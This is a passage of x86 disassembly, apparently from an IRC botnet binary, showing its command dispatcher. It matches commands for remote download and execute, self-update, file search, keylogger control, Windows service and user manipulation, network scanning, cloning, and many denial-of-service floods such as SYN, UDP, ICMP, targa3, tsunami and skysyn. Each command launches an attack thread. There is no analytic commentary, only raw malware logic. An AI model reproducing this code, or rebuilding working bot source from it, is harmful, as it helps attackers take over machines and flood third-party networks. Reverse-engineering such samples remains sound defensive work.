		jnz	loc_40698D
		push	ebx
		push	23h
		call	sub_40B028
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		jle	short loc_406891
		push	eax
		push	offset dword_42E380
		jmp	loc_40697E
; ---------------------------------------------------------------------------


loc_406891:				; CODE XREF: sub_40274D+4137j
		push	offset dword_42E354
		jmp	loc_4078C9
; ---------------------------------------------------------------------------


loc_40689B:				; CODE XREF: sub_40274D+4103j
					; sub_40274D+4112j
		push	23h
		call	sub_40B075
		test	eax, eax
		pop	ecx
		jle	short loc_4068B1
		push	offset dword_42E334
		jmp	loc_4078C9
; ---------------------------------------------------------------------------


loc_4068B1:				; CODE XREF: sub_40274D+4158j
		mov	eax, [ebp+4Ch+arg_4]
		push	[ebp+4Ch+var_8]	; Str2
		mov	[ebp+4Ch+var_C64], eax
		mov	eax, [ebp+4Ch+var_4]
		push	edi		; Str1
		mov	[ebp+4Ch+var_BDC], eax
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_4068DE
		mov	[ebp+4Ch+var_BD8], 1
		jmp	short loc_4068E7
; ---------------------------------------------------------------------------


loc_4068DE:				; CODE XREF: sub_40274D+4183j
		mov	eax, [ebp+4Ch+var_C]
		mov	[ebp+4Ch+var_BD8], eax


loc_4068E7:				; CODE XREF: sub_40274D+418Fj
		mov	esi, [ebp+esi+4Ch+Format]
		cmp	esi, ebx
		jnz	short loc_406908
		push	offset byte_42B633 ; Str2
		mov	esi, offset a_fast__3 ;	"#.fast.#"
		push	esi		; Str1
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_406908
		mov	esi, [ebp+4Ch+Format]


loc_406908:				; CODE XREF: sub_40274D+41A0j
					; sub_40274D+41B6j
		push	esi		; Format
		lea	eax, [ebp+4Ch+var_C5C]
		push	80h		; Count
		push	eax		; Dest
		call	__snprintf
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42E310 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	23h		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 20h
		mov	[ebp+4Ch+var_C60], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_C64]
		push	eax
		push	offset sub_414BFB
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_C60]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_4069BC
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset asc_42E2D4 ; "-"


loc_40697E:				; CODE XREF: sub_40274D+1F36j
					; sub_40274D+2CAAj ...
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; Dest
		call	_sprintf


loc_40698A:				; CODE XREF: sub_40274D+2C9Fj
					; sub_40274D+52ADj
		add	esp, 0Ch


loc_40698D:				; CODE XREF: sub_40274D+1F4Bj
					; sub_40274D+2CDAj ...
		cmp	[ebp+4Ch+var_C], ebx
		jnz	loc_408D10
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int


loc_4069A7:				; CODE XREF: sub_40274D+628Bj
		call	sub_40123B
		add	esp, 14h
		jmp	loc_408D10
; ---------------------------------------------------------------------------


loc_4069B4:				; CODE XREF: sub_40274D+4275j
		push	32h
		call	ds:dword_42B014	; Sleep


loc_4069BC:				; CODE XREF: sub_40274D+4223j
		cmp	[ebp+4Ch+var_BD4], ebx
		jz	short loc_4069B4
		jmp	short loc_40698D
; ---------------------------------------------------------------------------


loc_4069C6:				; CODE XREF: sub_40274D+40E7j
		push	edi		; Str2
		push	offset aNet	; "net"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_406C82
		cmp	dword_444274, ebx
		jz	short loc_4069F5
		cmp	dword_44429C, ebx
		jz	short loc_4069F5
		push	offset unk_42E298
		jmp	loc_406C3F
; ---------------------------------------------------------------------------


loc_4069F5:				; CODE XREF: sub_40274D+4294j
					; sub_40274D+429Cj
		cmp	[ebp+4Ch+var_18], ebx
		jz	loc_406C4D
		mov	edi, [ebp+esi+4Ch+Format]
		cmp	edi, ebx
		mov	[ebp+4Ch+arg_0], ebx
		jz	short loc_406A17
		push	edi		; SubStr
		push	[ebp+4Ch+var_18] ; Str
		call	_strstr
		pop	ecx
		pop	ecx
		mov	[ebp+4Ch+arg_0], eax


loc_406A17:				; CODE XREF: sub_40274D+42BAj
		push	[ebp+4Ch+var_8]	; Str2
		push	offset aStart	; "start"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_406A81
		cmp	edi, ebx
		jz	short loc_406A52
		push	[ebp+4Ch+arg_0]
		push	3


loc_406A33:				; CODE XREF: sub_40274D+434Cj
					; sub_40274D+4366j ...
		call	sub_41BF46
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset aS	; "%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		jmp	loc_406C4D
; ---------------------------------------------------------------------------


loc_406A52:				; CODE XREF: sub_40274D+42DFj
		push	[ebp+4Ch+var_4]	; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_41B681
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+4Ch+Dst]
		jz	short loc_406A77
		push	offset unk_42E26C
		jmp	loc_406C45
; ---------------------------------------------------------------------------


loc_406A77:				; CODE XREF: sub_40274D+431Ej
		push	offset unk_42E24C
		jmp	loc_406C45
; ---------------------------------------------------------------------------


loc_406A81:				; CODE XREF: sub_40274D+42DBj
		push	[ebp+4Ch+var_8]	; Str2
		push	offset aStop	; "stop"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_406A9B
		push	[ebp+4Ch+arg_0]
		push	4
		jmp	short loc_406A33
; ---------------------------------------------------------------------------


loc_406A9B:				; CODE XREF: sub_40274D+4345j
		push	[ebp+4Ch+var_8]	; Str2
		push	offset aPause	; "pause"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_406AB8
		push	[ebp+4Ch+arg_0]
		push	5
		jmp	loc_406A33
; ---------------------------------------------------------------------------


loc_406AB8:				; CODE XREF: sub_40274D+435Fj
		push	[ebp+4Ch+var_8]	; Str2
		push	offset aContinue ; "continue"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_406AD5
		push	[ebp+4Ch+arg_0]
		push	6
		jmp	loc_406A33
; ---------------------------------------------------------------------------


loc_406AD5:				; CODE XREF: sub_40274D+437Cj
		push	[ebp+4Ch+var_8]	; Str2
		push	offset aDelete	; "delete"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_406AF2
		push	[ebp+4Ch+arg_0]
		push	1
		jmp	loc_406A33
; ---------------------------------------------------------------------------


loc_406AF2:				; CODE XREF: sub_40274D+4399j
		push	[ebp+4Ch+var_8]	; Str2
		push	offset aShare	; "share"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_406B6C
		cmp	edi, ebx
		jz	short loc_406B3C
		cmp	[ebp+4Ch+var_904], bl
		jz	short loc_406B17
		push	ebx
		push	edi
		push	1
		jmp	short loc_406B1D
; ---------------------------------------------------------------------------


loc_406B17:				; CODE XREF: sub_40274D+43C2j
		push	[ebp+esi+4Ch+var_98] ; int
		push	edi		; Str
		push	ebx		; int


loc_406B1D:				; CODE XREF: sub_40274D+43C8j
		call	sub_41BFBE
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset aS	; "%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 18h
		jmp	loc_406C4D
; ---------------------------------------------------------------------------


loc_406B3C:				; CODE XREF: sub_40274D+43BAj
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_41C07C
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp+4Ch+Dst]
		jz	short loc_406B62
		push	offset unk_42E204
		jmp	loc_406C45
; ---------------------------------------------------------------------------


loc_406B62:				; CODE XREF: sub_40274D+4409j
		push	offset unk_42E1E4
		jmp	loc_406C45
; ---------------------------------------------------------------------------


loc_406B6C:				; CODE XREF: sub_40274D+43B6j
		push	[ebp+4Ch+var_8]	; Str2
		push	offset aUser_0	; "user"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_406BF4
		cmp	edi, ebx
		jz	short loc_406BCA
		cmp	[ebp+4Ch+var_904], bl
		push	[ebp+4Ch+var_4]	; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		jz	short loc_406B9A
		push	ebx
		push	edi
		push	1
		jmp	short loc_406BAB
; ---------------------------------------------------------------------------


loc_406B9A:				; CODE XREF: sub_40274D+4445j
		mov	esi, [ebp+esi+4Ch+var_98]
		cmp	esi, ebx
		jz	short loc_406BA7
		push	esi
		push	edi
		push	ebx
		jmp	short loc_406BAB
; ---------------------------------------------------------------------------


loc_406BA7:				; CODE XREF: sub_40274D+4453j
		push	ebx		; int
		push	edi		; int
		push	2		; int


loc_406BAB:				; CODE XREF: sub_40274D+444Bj
					; sub_40274D+4458j
		call	sub_41C19B
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset aS	; "%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 24h
		jmp	loc_406C4D
; ---------------------------------------------------------------------------


loc_406BCA:				; CODE XREF: sub_40274D+4434j
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_41C265
		add	esp, 10h
		test	eax, eax
		lea	eax, [ebp+4Ch+Dst]
		jz	short loc_406BED
		push	offset unk_42E1C4
		jmp	short loc_406C45
; ---------------------------------------------------------------------------


loc_406BED:				; CODE XREF: sub_40274D+4497j
		push	offset unk_42E1A4
		jmp	short loc_406C45
; ---------------------------------------------------------------------------


loc_406BF4:				; CODE XREF: sub_40274D+4430j
		push	[ebp+4Ch+var_8]	; Str2
		push	offset aSend	; "send"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_406C3A
		cmp	edi, ebx
		jz	short loc_406C33
		push	[ebp+4Ch+var_4]
		push	[ebp+4Ch+Format]
		push	[ebp+4Ch+arg_4]
		push	[ebp+4Ch+arg_0]	; Source
		call	sub_41BE8A
		push	eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset aS	; "%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		jmp	short loc_406C4D
; ---------------------------------------------------------------------------


loc_406C33:				; CODE XREF: sub_40274D+44BCj
		push	offset unk_42E180
		jmp	short loc_406C3F
; ---------------------------------------------------------------------------


loc_406C3A:				; CODE XREF: sub_40274D+44B8j
		push	offset asc_42E164 ; "-"


loc_406C3F:				; CODE XREF: sub_40274D+2C4Dj
					; sub_40274D+42A3j ...
		lea	eax, [ebp+4Ch+Dst]


loc_406C45:				; CODE XREF: sub_40274D+4325j
					; sub_40274D+432Fj ...
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_406C4D:				; CODE XREF: sub_40274D+42ABj
					; sub_40274D+4300j ...
		cmp	[ebp+4Ch+var_C], ebx
		jnz	short loc_406C6B
		push	ebx		; int
		push	[ebp+4Ch+var_4]	; int
		lea	eax, [ebp+4Ch+Dst]
		push	eax		; int
		push	[ebp+4Ch+Format] ; Str
		push	[ebp+4Ch+arg_4]	; int
		call	sub_40123B
		add	esp, 14h


loc_406C6B:				; CODE XREF: sub_40274D+27A3j
					; sub_40274D+27D7j ...
		mov	esi, [ebp+4Ch+arg_24]


loc_406C6E:				; CODE XREF: sub_40274D+65C6j
					; sub_40274D+7503j ...
		lea	eax, [ebp+4Ch+Dst]
		push	eax
		call	sub_417D70
		pop	ecx
		mov	eax, esi
		jmp	loc_402B95
; ---------------------------------------------------------------------------


loc_406C82:				; CODE XREF: sub_40274D+4288j
		push	edi		; Str2
		push	offset aCapture	; "capture"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40968E
		push	edi		; Str2
		push	offset aCap	; "cap"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40968E
		push	edi		; Str2
		push	offset aGethost	; "gethost"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4095B9
		push	edi		; Str2
		push	offset aGh	; "gh"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4095B9


loc_406CD6:				; CODE XREF: sub_40274D+39D7j
					; sub_40274D+3A06j ...
		mov	edi, [ebp+esi+4Ch+Format]
		cmp	edi, ebx
		mov	[ebp+4Ch+var_20], edi
		jz	loc_402B92
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aKilllog	; "killlog"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40959F
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aKl	; "kl"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40959F
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aAddalias ; "addalias"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40955E
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aAa	; "aa"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40955E
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aPrivmsg_0 ; "privmsg"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409504
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aPm	; "pm"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409504
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aAction	; "action"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409492
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aA	; "a"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409492
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aCycle	; "cycle"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409434
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aCy	; "cy"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409434
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aMode	; "mode"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4093FB
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aM_0	; "m"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4093FB
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aC_raw	; "c_raw"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40938F
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aC_r	; "c_r"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40938F
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aC_mode	; "c_mode"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40930C
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aC_m	; "c_m"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40930C
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aC_nick	; "c_nick"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4092A4
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aC_n	; "c_n"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4092A4
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aC_join	; "c_join"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409281
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aC_j	; "c_j"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409281
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aC_part	; "c_part"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409243
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aC_p	; "c_p"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409243
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aTarga3	; "targa3"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409151
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aT3	; "t3"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409151
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aTsunami	; "tsunami"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409083
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aTsn	; "tsn"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_409083
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aRepeat	; "repeat"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_408FCA
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aRp	; "rp"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_408FCA
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aDelay	; "delay"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_408F39
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aDe	; "de"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_408F39
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aUpdate	; "update"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_408DC3
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aUp	; "up"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_408DC3
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aExecute	; "execute"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_408D2A
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aE	; "e"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_408D2A
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aFindfile ; "findfile"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_408C21
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aFf	; "ff"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_408C21
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aRename	; "rename"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_408BCD
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aMv	; "mv"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_408BCD
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aIcmpflood ; "icmpflood"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_408AD6
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aIcmp	; "icmp"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx


loc_407077:				; DATA XREF: .data:0043F23Co
					; .data:0043F250o ...
		jz	loc_408AD6
		mov	eax, [ebp+esi+4Ch+var_98]
		cmp	eax, ebx
		mov	[ebp+4Ch+arg_0], eax
		jz	loc_402B92
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aClone_0	; "clone"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4089EF
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aC	; "c"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4089EF
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aDdos_syn ; "ddos.syn"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4088D6
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aDdos_ack ; "ddos.ack"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4088D6
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aDdos_random ; "ddos.random"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4088D6
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aWisdom_udp ; "wisdom.udp"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_4071DF
		push	7Fh
		pop	esi
		push	esi		; Count
		push	[ebp+4Ch+var_8]	; Source
		lea	eax, [ebp+4Ch+var_3070]
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+4Ch+var_2FF0]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		push	[ebp+4Ch+arg_0]	; Source
		lea	eax, [ebp+4Ch+var_2F70]
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		push	[ebp+4Ch+Format] ; Source
		lea	eax, [ebp+4Ch+var_2EF0]
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+4Ch+var_C]
		mov	edi, [ebp+4Ch+var_4]
		mov	esi, [ebp+4Ch+arg_4]
		push	ebx		; int
		mov	[ebp+4Ch+var_2E68], eax
		lea	eax, [ebp+4Ch+Dst]
		push	13h		; int
		push	eax		; Source
		mov	[ebp+4Ch+var_2E6C], edi
		mov	[ebp+4Ch+var_3074], esi
		call	sub_40AE85
		add	esp, 3Ch
		mov	[ebp+4Ch+var_2E70], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_3074]
		push	eax
		push	offset sub_4175F3
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_2E70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_4071D2
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42DFE0
		jmp	loc_40491A
; ---------------------------------------------------------------------------


loc_4071CA:				; CODE XREF: sub_40274D+4A8Bj
		push	32h
		call	ds:dword_42B014	; Sleep


loc_4071D2:				; CODE XREF: sub_40274D+4A6Aj
		cmp	[ebp+4Ch+var_2E64], ebx
		jz	short loc_4071CA
		jmp	loc_404929
; ---------------------------------------------------------------------------


loc_4071DF:				; CODE XREF: sub_40274D+49C3j
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aSynflood ; "synflood"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4087F2
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aSyn	; "syn"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4087F2
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aSkysyn	; "skysyn"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	loc_407308
		push	7Fh
		pop	esi
		push	esi		; Count
		push	[ebp+4Ch+var_8]	; Source
		lea	eax, [ebp+4Ch+var_3498]
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+4Ch+var_3418]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		push	[ebp+4Ch+arg_0]	; Source
		lea	eax, [ebp+4Ch+var_3398]
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		push	[ebp+4Ch+Format] ; Source
		lea	eax, [ebp+4Ch+var_3318]
		push	eax		; Dest
		call	_strncpy
		push	[ebp+4Ch+arg_0]
		mov	eax, [ebp+4Ch+var_4]
		mov	esi, [ebp+4Ch+arg_4]
		push	edi
		push	[ebp+4Ch+var_8]
		mov	[ebp+4Ch+var_3294], eax
		mov	eax, [ebp+4Ch+var_C]
		mov	[ebp+4Ch+var_3290], eax
		lea	eax, [ebp+4Ch+Dst]
		push	offset asc_42DF98 ; "-"
		push	eax		; Dest
		mov	[ebp+4Ch+var_349C], esi
		call	_sprintf
		add	esp, 44h
		push	ebx		; int
		lea	eax, [ebp+4Ch+Dst]
		push	10h		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 0Ch
		mov	[ebp+4Ch+var_3298], eax
		lea	eax, [ebp+4Ch+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+4Ch+var_349C]
		push	eax
		push	offset sub_41640E
		push	ebx
		push	ebx
		call	ds:dword_42B03C	; CreateThread
		mov	ecx, [ebp+4Ch+var_3298]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4444FC[ecx], eax
		jnz	short loc_4072FB
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42DF5C
		jmp	loc_4089B1
; ---------------------------------------------------------------------------


loc_4072F3:				; CODE XREF: sub_40274D+4BB4j
		push	32h
		call	ds:dword_42B014	; Sleep


loc_4072FB:				; CODE XREF: sub_40274D+4B93j
		cmp	[ebp+4Ch+var_328C], ebx
		jz	short loc_4072F3
		jmp	loc_4089C0
; ---------------------------------------------------------------------------


loc_407308:				; CODE XREF: sub_40274D+4AD1j
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aPhatwonk ; "phatwonk"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40870E
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aWonk	; "wonk"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_40870E
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aDownload ; "download"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4085D7
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aDl	; "dl"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4085D7
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aRedirect ; "redirect"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4084E1
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aRd	; "rd"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4084E1
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aScan_0	; "scan"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4083F2
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aSc	; "sc"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4083F2
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aC_privmsg ; "c_privmsg"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4082F0
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aC_pm	; "c_pm"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4082F0
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aC_action ; "c_action"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4081FB
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aC_a	; "c_a"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4081FB
		mov	eax, [ebp+esi+4Ch+var_94]
		cmp	eax, ebx
		mov	[ebp+4Ch+var_14], eax
		jz	loc_402B92
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aPortscan ; "portscan"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4080F9
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aPsc	; "psc"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4080F9
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aAdvscan	; "advscan"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_407C2E
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aAsc	; "asc"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_407C2E
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aUdpflood ; "udpflood"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_407B12
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aUdp	; "udp"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_407B12
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aU	; "u"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_407B12
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aNetsend	; "netsend"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4079FF
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aNs	; "ns"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4079FF
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aPingflood ; "pingflood"
		call	_strcmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4078DC
		push	[ebp+4Ch+var_10] ; Str2
		push	offset aPing_0	; "ping"
